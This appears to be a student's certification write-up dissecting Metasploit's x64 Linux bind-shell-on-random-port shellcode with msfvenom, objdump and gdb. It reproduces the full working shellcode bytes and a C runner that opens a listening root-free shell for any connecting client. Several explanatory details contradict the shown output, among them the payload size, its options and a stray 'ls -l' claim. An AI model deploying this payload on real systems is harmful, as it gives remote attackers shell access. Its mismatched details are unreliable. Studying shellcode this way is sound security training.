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Assignment #5.2: Shellcode `linux/x64/shell_bind_tcp_random_port` Dissection

Introduction

The first msfvenom shellcode that is going to be dissected in functionality is the linux/x64/shell_bind_tcp_random_port payload.

Let’s see it’s options:

SLAE64>  msfvenom -p linux/x64/shell_bind_tcp_random_port --list-options
Options for payload/linux/x64/shell_bind_tcp_random_port:
=========================


       Name: Linux Command Shell, Bind TCP Random Port Inline
     Module: payload/linux/x64/shell_bind_tcp_random_port
   Platform: Linux
       Arch: x64
Needs Admin: No
 Total size: 57
       Rank: Normal

Provided by:
    Geyslan G. Bem <geyslan@gmail.com>

Description:
  Listen for a connection in a random port and spawn a command shell. 
  Use nmap to discover the open port: 'nmap -sS target -p-'.

The payload is only 78 bytes and it requires the following parameters:

LPORT: The port to listen for the incoming connection
RHOST: The target address

NOTE: In the captures of gdb, comments are especified with the <== symbol. This is added when want to comment what’s going on in the debugger.

Creating the Shellcode

Will execute the ls -l command. Decided to use a command that can receive options to check how the payload handles it. Also added the full path to make the command string a 7 bytes length only. Let’s generate the payload:

SLAE64> msfvenom -p linux/x64/shell_bind_tcp_random_port -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 57 bytes
Final size of c file: 264 bytes
unsigned char buf[] = 
"\x48\x31\xf6\x48\xf7\xe6\xff\xc6\x6a\x02\x5f\xb0\x29\x0f\x05"
"\x52\x5e\x50\x5f\xb0\x32\x0f\x05\xb0\x2b\x0f\x05\x57\x5e\x48"
"\x97\xff\xce\xb0\x21\x0f\x05\x75\xf8\x52\x48\xbf\x2f\x2f\x62"
"\x69\x6e\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x0f\x05";
SLAE64> 

The generated payload size, this time did not change in size.

Run Shellcode. The C Template

To run the shellcode, will use of the shellcode.c template renamoed to Payload_02.c. The shellcode is placed in the code[] string:

#include <stdio.h>
#include <string.h>

unsigned char code[]= \
"\x48\x31\xf6\x48\xf7\xe6\xff\xc6\x6a\x02\x5f\xb0\x29\x0f\x05"
"\x52\x5e\x50\x5f\xb0\x32\x0f\x05\xb0\x2b\x0f\x05\x57\x5e\x48"
"\x97\xff\xce\xb0\x21\x0f\x05\x75\xf8\x52\x48\xbf\x2f\x2f\x62"
"\x69\x6e\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x0f\x05";

void main()
{
        printf("ShellCode Lenght: %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}

Now it can be compiled:

gcc -fno-stack-protector -z execstack Payload_02.c -o Payload_02

When it’s run, is listens for incoming connections in a random port. From another terminal using netstat check what’s the listening port, and with netcat, can connect. A shell is spawned:

`objdump`: First Approach

Once we get the executable, will use objdump to disassemble the ASM code. As objdump disassembles the code by sections, the one of interest is the <code> section. Is the one containing the payload shellcode:

SLAE64> objdump -M intel -D Payload_02
**_REMOVED_**
0000000000004060 <code>:
    4060:	48 31 f6             	xor    rsi,rsi
    4063:	48 f7 e6             	mul    rsi
    4066:	ff c6                	inc    esi
    4068:	6a 02                	push   0x2
    406a:	5f                   	pop    rdi
    406b:	b0 29                	mov    al,0x29
    406d:	0f 05                	syscall 
    406f:	52                   	push   rdx
    4070:	5e                   	pop    rsi
    4071:	50                   	push   rax
    4072:	5f                   	pop    rdi
    4073:	b0 32                	mov    al,0x32
    4075:	0f 05                	syscall 
    4077:	b0 2b                	mov    al,0x2b
    4079:	0f 05                	syscall 
    407b:	57                   	push   rdi
    407c:	5e                   	pop    rsi
    407d:	48 97                	xchg   rdi,rax
    407f:	ff ce                	dec    esi
    4081:	b0 21                	mov    al,0x21
    4083:	0f 05                	syscall 
    4085:	75 f8                	jne    407f <code+0x1f>
    4087:	52                   	push   rdx
    4088:	48 bf 2f 2f 62 69 6e 	movabs rdi,0x68732f6e69622f2f
    408f:	2f 73 68 
    4092:	57                   	push   rdi
    4093:	54                   	push   rsp
    4094:	5f                   	pop    rdi
    4095:	b0 3b                	mov    al,0x3b
    4097:	0f 05                	syscall 
	...
**_REMOVED_**
SLAE64>

Per the disassembled code, a total of 5 syscalls been used. Let’s see which ones are for the values of RAX before syscall instruction:

sys_socket : Value 0x29
sys_listen : Value 0x32
sys_accept : Value 0x2b
sys_dup2 : Value 0x21
sys_execve : Value 0x3b

The Fun: GDB Analysis

As how the shellcode is disasembled, the code can be divided in sections. This sections are defined by the different syscalls. To simplify the analysis, we going to debug section by section.

Let’s load the exec file into gdb, setup the environment, and place a breakpoint in the code section with b *&code:

SLAE64> gdb ./Payload_02
GNU gdb (Debian 8.2.1-2+b3) 8.2.1
Reading symbols from ./Payload_02...(no debugging symbols found)...done.
(gdb) 
(gdb) set disassembly-flavor intel
(gdb) b *&code
Breakpoint 1 at 0x4060
(gdb)

Now can start debugging, let’s run the program and disassemble it:

(gdb) run
Starting program: /root/SLAE64/Exam/Assignment05/Payload_02 
ShellCode Lenght: 57

Breakpoint 1, 0x0000555555558060 in code ()
(gdb) disassemble 
Dump of assembler code for function code:
=> 0x0000555555558060 <+0>:	xor    rsi,rsi
   0x0000555555558063 <+3>:	mul    rsi
   0x0000555555558066 <+6>:	inc    esi
   0x0000555555558068 <+8>:	push   0x2
   0x000055555555806a <+10>:	pop    rdi
   0x000055555555806b <+11>:	mov    al,0x29
   0x000055555555806d <+13>:	syscall 
   0x000055555555806f <+15>:	push   rdx
   0x0000555555558070 <+16>:	pop    rsi
   0x0000555555558071 <+17>:	push   rax
   0x0000555555558072 <+18>:	pop    rdi
   0x0000555555558073 <+19>:	mov    al,0x32
   0x0000555555558075 <+21>:	syscall 
   0x0000555555558077 <+23>:	mov    al,0x2b
   0x0000555555558079 <+25>:	syscall 
   0x000055555555807b <+27>:	push   rdi
   0x000055555555807c <+28>:	pop    rsi
   0x000055555555807d <+29>:	xchg   rdi,rax
   0x000055555555807f <+31>:	dec    esi
   0x0000555555558081 <+33>:	mov    al,0x21
   0x0000555555558083 <+35>:	syscall 
   0x0000555555558085 <+37>:	jne    0x55555555807f <code+31>
   0x0000555555558087 <+39>:	push   rdx
   0x0000555555558088 <+40>:	movabs rdi,0x68732f6e69622f2f
   0x0000555555558092 <+50>:	push   rdi
   0x0000555555558093 <+51>:	push   rsp
   0x0000555555558094 <+52>:	pop    rdi
   0x0000555555558095 <+53>:	mov    al,0x3b
   0x0000555555558097 <+55>:	syscall 
   0x0000555555558099 <+57>:	add    BYTE PTR [rax],al
End of assembler dump.
(gdb)

All looks good, let’s dissect the functionality.

Section 1: `sys_socket`

In this section, the socket call is to be used. From it’s man page can get the function definition:

int socket(int domain, int type, int protocol);

Then registers for this syscall need to get the following values:

RAX gets the syscall number, 0x29
RDI gets the domain. As it’s an IPv4 connection, value has to be 2 (AF_INET)
RSI gets the type of the connection. As it’s a TCP oriented connection, value has to be 0x01 (SOCK_STREAM)

RDX gets the protocol. As it’s an IP connection, value has to be 0x00 Let’s debug this part, reviewing that registers get this values before the syscall, and understanding what’s done in the code:

(gdb) stepi
0x0000555555558063 in code ()
(gdb) stepi
0x0000555555558066 in code ()
(gdb) stepi
0x0000555555558068 in code ()
(gdb) stepi
0x000055555555806a in code ()
(gdb) stepi
0x000055555555806b in code ()
(gdb) stepi
0x000055555555806d in code ()
(gdb) disassemble 
Dump of assembler code for function code:
 0x0000555555558060 <+0>:	xor    rsi,rsi        <== ZEROes RSI
 0x0000555555558063 <+3>:	mul    rsi            <== RAX <- 0 and RDX <- 0
 0x0000555555558066 <+6>:	inc    esi            <== RSI <- 1 for SOCK_STREAM
 0x0000555555558068 <+8>:	push   0x2            <== RDI <- 2 for AF_INET
 0x000055555555806a <+10>:	pop    rdi
 0x000055555555806b <+11>:	mov    al,0x29        <== RAX <- 0x29 for syscall number
=> 0x000055555555806d <+13>:	syscall 
**_REMOVED_**
End of assembler dump.
(gdb)

At this point, let’s review that registers got the right values:

(gdb) info registers rax rdi rsi rdx
rax            0x29                41
rdi            0x2                 2
rsi            0x1                 1
rdx            0x0                 0
(gdb)

Then the syscall can be run, as the parameters are correct. Remember that this syscall returns in RAX the socket descriptor.

(gdb) stepi
0x000055555555806f in code ()

Section 2: `sys_listen`

Here in this section the listen call. From the man page:

int listen(int sockfd, int backlog);

Values for registers for this call have to be:

RAX gets the syscall number, 0x32
RDI gets the sock_descriptor

RSI gets the backlog, 0x00 Let’s understand the code here:

(gdb) stepi
0x0000555555558070 in code ()
(gdb) stepi
0x0000555555558071 in code ()
(gdb) stepi
0x0000555555558072 in code ()
(gdb) stepi
0x0000555555558073 in code ()
(gdb) stepi
0x0000555555558075 in code ()
(gdb) disassemble 
Dump of assembler code for function code:
**_REMOVED_**   
 0x000055555555806f <+15>:	push   rdx         <== Stack <- 0x00. RDX been zero'ed at +3
 0x0000555555558070 <+16>:	pop    rsi         <== RSI <- 0 for the parameter
 0x0000555555558071 <+17>:	push   rax         <== Pushes the socket descriptor in the stack
 0x0000555555558072 <+18>:	pop    rdi         <== RDI <- socket descriptor. Pop'ed from stack
 0x0000555555558073 <+19>:	mov    al,0x32     <== RAX <- Syscall number
=> 0x0000555555558075 <+21>:	syscall 
**_REMOVED_**
End of assembler dump.
(gdb)

Everyting looks correct. Let’s check if the registers have the right values before the syscall:

(gdb) info registers rax rdi rsi
rax            0x32                50
rdi            0x3                 3
rsi            0x0                 0
(gdb)

Good. s expected.

Section 3: `sys_accept`

For theaccept call, it’s defined as:

int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);

Registers need this values:

RAX for the syscall number, 0x2b
RDI for the socket descriptor, that’s already in RDI from the previous section (value “3”)
RSI a pointer to the sockaddr

RDX the length of this struct As i don’t understand why no values are assigned to RSI and RDX in the code, a further read of the accept() man page, clarifies everything:

...
When addr is NULL, nothing is filled in; in this case, addrlen is not used, and should also be NULL.
...

This mean that this two registers can be set to 0x00. Let’s understand what the code does:

(gdb) stepi
0x0000555555558077 in code ()
(gdb) stepi
0x0000555555558079 in code ()
(gdb) disassemble 
Dump of assembler code for function code:
**_REMOVED_**
 0x0000555555558077 <+23>:	mov    al,0x2b     <== Syscall number for accept()
=> 0x0000555555558079 <+25>:	syscall 
**_REMOVED_**
End of assembler dump.
(gdb)

RSI and RDX already got the NULL (0x00) value at instructions at +16 and + 18. Let’s review the values of the registers before the syscall:

(gdb) info registers rax rdi rsi rdx
rax            0x2b                43
rdi            0x3                 3
rsi            0x0                 0
rdx            0x0                 0
(gdb)

Good, the expected values. The syscall can be executed, and will return a socket descriptor in RAX.

Section 4: `sys_dup2`

From the dup2() manpage:

int dup2(int oldfd, int newfd);

This said, register values for this call have to be:

RAX for the syscall number, 0x21
RDI for the old socket descriptor. Has to be the value returned in RAX for the previous accept syscall
RSI for new file descriptor to duplicate the old descriptor. Will be the file descriptor for stdin, stdout, and stderr.

Ass the accept() will pause the program until a connection is received, a netcat connection is done from another terminal. Still while debugging, the program wont work as expected because no dup2()and no execve() been done yet.

Reviewing the code:

(gdb) stepi
0x000055555555807b in code ()
(gdb) stepi
0x000055555555807c in code ()
(gdb) stepi
0x000055555555807d in code ()
(gdb) stepi
0x000055555555807f in code ()
(gdb) stepi
0x0000555555558081 in code ()
(gdb) stepi
0x0000555555558083 in code ()
(gdb) disassemble 
Dump of assembler code for function code:
**_REMOVED_**
   0x000055555555807b <+27>:	push   rdi         <== RDI has the socket descriptor from `socket` call (that's "3")
   0x000055555555807c <+28>:	pop    rsi         <== RSI <- Socket descriptor
   0x000055555555807d <+29>:	xchg   rdi,rax     <== RDI <- Socket descriptor for the `accept`. This is the 
   0x000055555555807f <+31>:	dec    esi         <== RDI = RDI - 1
   0x0000555555558081 <+33>:	mov    al,0x21     <== Syscall Number for `dup2`
=> 0x0000555555558083 <+35>:	syscall 
   0x0000555555558085 <+37>:	jne    0x55555555807f <code+31>   <== Jumps to +31 to `dup2()` another new file descriptor
**_REMOVED_**
End of assembler dump.
(gdb)

The code simply places the old file descriptor into RDI, and the new one into RSI. The jne at +37 jumps back to +31, that decrements the value for RSI to duplicate another new file descriptor. New file descriptors will be duplicated in this order: stderr(“2”), stdout(“1”) and then stdin(“0”). When RSI value is “0”, then the jump is not done and the program continues the flow. To check that register valuesare correct before the syscall, let’s place a breakpoinit at the +35 just before executing the syscall to be able to review it the 3 times it’s called. Also at +39 push rdx after the duplication code to stop once it’s done:

(gdb) disassemble 
Dump of assembler code for function code:
**_REMOVED_**
   0x000055555555807b <+27>:	push   rdi
   0x000055555555807c <+28>:	pop    rsi
   0x000055555555807d <+29>:	xchg   rdi,rax
   0x000055555555807f <+31>:	dec    esi
   0x0000555555558081 <+33>:	mov    al,0x21
=> 0x0000555555558083 <+35>:	syscall 
   0x0000555555558085 <+37>:	jne    0x55555555807f <code+31>
   0x0000555555558087 <+39>:	push   rdx
**_REMOVED_**
End of assembler dump.
(gdb) info registers rdi rsi rax
rdi            0x4                 4
rsi            0x2                 2
rax            0x21                33
(gdb) b *0x0000555555558083
Breakpoint 2 at 0x555555558083
(gdb) b *0x0000555555558087
Breakpoint 3 at 0x555555558087
(gdb)

In the first loop to duplicate stderr, RAX has to be 0x21, RDI has to be “0x04”, and RSI has to be “0x02”. Let’s check:

(gdb) info registers rax rdi rsi
rax            0x21                33
rdi            0x4                 4
rsi            0x2                 2
(gdb)

Let’s continue execution. It will do the jump, do the operations, and again before executing the syscall. This is loop 2 to duplicate stdout, hence values for registers must be “0x21” for RAX, “0x04” for RDI and “0x01” for RSI:

(gdb) c
Continuing.
Breakpoint 2, 0x0000555555558083 in code ()
(gdb) disassemble 
Dump of assembler code for function code:
**_REMOVED_**
   0x000055555555807b <+27>:	push   rdi
   0x000055555555807c <+28>:	pop    rsi
   0x000055555555807d <+29>:	xchg   rdi,rax
   0x000055555555807f <+31>:	dec    esi
   0x0000555555558081 <+33>:	mov    al,0x21
=> 0x0000555555558083 <+35>:	syscall 
   0x0000555555558085 <+37>:	jne    0x55555555807f <code+31>
**_REMOVED_**
End of assembler dump.
(gdb) info registers rax rdi rsi
rax            0x21                33
rdi            0x4                 4
rsi            0x1                 2
(gdb)

If continue again, will jump to +31 again for the duplication of stdin. Here the values have to be RAX to “0x21”, RDI keeps the “0x04” value, and RSI updates to “0x00”.

(gdb) c
Continuing.
Breakpoint 2, 0x0000555555558083 in code ()
(gdb) disassemble 
Dump of assembler code for function code:
**_REMOVED_**
   0x000055555555807b <+27>:	push   rdi
   0x000055555555807c <+28>:	pop    rsi
   0x000055555555807d <+29>:	xchg   rdi,rax
   0x000055555555807f <+31>:	dec    esi
   0x0000555555558081 <+33>:	mov    al,0x21
=> 0x0000555555558083 <+35>:	syscall 
   0x0000555555558085 <+37>:	jne    0x55555555807f <code+31>
**_REMOVED_**
End of assembler dump.
(gdb) info registers rax rdi rsi
rax            0x21                33
rdi            0x4                 4
rsi            0x0                 0
(gdb)

Awesome. Everything as it should. Now let’s continue the program, and this time won’t jump and will stop at +39, ending the dup2 section:

(gdb) c
Continuing.
Breakpoint 3, 0x0000555555558087 in code ()
(gdb) disassemble 
Dump of assembler code for function code:
**_REMOVED_**
=> 0x0000555555558087 <+39>:	push   rdx
**_REMOVED_**
End of assembler dump.
(gdb)

Section 5: `sys_execve`

From the execve manpage:

int  execve  (const  char  *filename,  
              const  char *argv [], const char
              *envp[]);

Also reviewing the code for this section in gdb, there is an hex value (0x68732f6e69622f2f) at +40 that ends being pushed in the stack at +50. Let’s see what this value is:

>>> "68732f6e69622f2f".decode('hex')[::-1]
'//bin/sh'
>>> 

This means that execve will execute the hardcoded command //bin/sh. And this defines values for the registers as follows:

RAX: Syscall number, “0x3b”
RDI: The memory address for the //bin/sh string
RSI: The pointer to the memory address containing the address of the parameters. As no parameters are needed or used, simply gets the NULL value “0x00”
RDX: NULL value, “0x00” The Stack Technique is used, hence will need to review the values pushed in the stack before the syscall and the registers contents. stepi‘ing and following the code, and stop just before the syscall:

(gdb) disassemble 
Dump of assembler code for function code:
**_REMOVED__**
=> 0x0000555555558087 <+39>:	push   rdx
   0x0000555555558088 <+40>:	movabs rdi,0x68732f6e69622f2f
   0x0000555555558092 <+50>:	push   rdi
   0x0000555555558093 <+51>:	push   rsp
   0x0000555555558094 <+52>:	pop    rdi
   0x0000555555558095 <+53>:	mov    al,0x3b
   0x0000555555558097 <+55>:	syscall 
End of assembler dump.
(gdb) stepi                                        <== Executes push rdx
0x0000555555558088 in code ()
(gdb) x/xg $rsp
0x7fffffffe750:	0x0000000000000000                 <== RDX is Pushed. RDX had 0x00 value from +3
(gdb) stepi                                        <== Executes movabs rdi,"//bin/sh"
0x0000555555558092 in code ()
(gdb) stepi                                        <== Pushes String to Stack. Executes push rdi
0x0000555555558093 in code ()
(gdb) x/s $rsp                                     <== Check top of the stack
0x7fffffffe748:	"//bin/sh"                         <== The string is in the stack
(gdb) stepi                                        <== Pushes the address of //bin/sh string into 
0x0000555555558094 in code ()                       == the stack. Executes push rsp
(gdb) stepi                                        <== RDI <- @ //bin/sh string. Executes pop rdi
0x0000555555558095 in code ()
(gdb) stepi
0x0000555555558097 in code ()
(gdb)

Now the RIP is pointing to the syscall instruction. Let’s stop here. The stack contents for what’s been just debuged should be:

  Stack Address          Stack Content        
|------------------|------------------------|
|  0x7fffffffe748  |   "//bin/sh"           | 
|  0x7fffffffe750  |   0x0000000000000000   |
|-------------------------------------------|

Let’s check that’s ok:

(gdb) x/2xg $rsp
0x7fffffffe748:	0x68732f6e69622f2f	0x0000000000000000
(gdb)

Hence, RSI should have the 0x7fffffffe748 as per the instruction executed at +52:

(gdb) info registers rdi
rdi            0x7fffffffe748      140737488349000
(gdb) x/s $rdi
0x7fffffffe748:	"//bin/sh"
(gdb)

And RSI and RDX should have NULL values as no parameters are passed to the function:

(gdb) info registers rsi rdx
rsi            0x0                 0
rdx            0x0                 0
(gdb)

The End

Ok, all looks as it was expected. After stepi into the syscall, the shell will be spawned in our netcat session that we had to open to continue debugging in the previous sections:

(gdb) stepi
process 1513 is executing new program: /usr/bin/dash
(gdb)

With the expected results:

However, didnt came this following question to you? Where is the code to generate the random port number? This is answered below

Thoughts

From this analysis, some tricks been learned:

No need to use the sys_bind syscall. As the code did not use it, researched about why not being used, and came up with a comment at StackOverflow. There are some posts that says that if a TCP or UDP socket is being used, the kernel will automatically bind the socket to a suitable port number. This also the way that the payload uses to generate the random port!. As the kernel defines a random port and binds it to the connection, the code to create a random port is not needed and reduces considerably the shellcode size.
When using the sys_accept, no value it returns in the sockaddr struct will be used. Researching reading the man page further, in the thirth paragraph of the Description section, says that “When addr is NULL, nothing is filled in; in this case, addrlen is not used, and should also be NULL.”. Not having to do all this work saves us time and shellcode size.
When the command to be executed by sys_execve does not have any parameter, the second and thirth parameter can be NULL. Then only the command is executed without parameters.
The use of the mul instruction to initialize to “0x00” the value of RAX and RDX registers at the same time.

With this learnings, will have to review the payloads created in the Assignment01 and Assignment02 applying this learned techniques to make their shellcode size reduced.

GitHub Repo Files

The GitHub Repo for this assignment contains the following files:

Payload_02.c : The C file cloned from shellcode.c to execute the linux/x64/shell_bind_tcp_random_port shellcode.
Shellcode_02.txt : The rax shellcode in hex into a text file.

The End

This pages have been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: PA-14628

My Repo

Assignment #5.2: Shellcode linux/x64/shell_bind_tcp_random_port Dissection

Introduction

Creating the Shellcode

Run Shellcode. The C Template

objdump: First Approach

The Fun: GDB Analysis

Section 1: sys_socket

Section 2: sys_listen

Section 3: sys_accept

Section 4: sys_dup2

Section 5: sys_execve

The End

Thoughts

GitHub Repo Files

The End

Assignment #5.2: Shellcode `linux/x64/shell_bind_tcp_random_port` Dissection

`objdump`: First Approach

Section 1: `sys_socket`

Section 2: `sys_listen`

Section 3: `sys_accept`

Section 4: `sys_dup2`

Section 5: `sys_execve`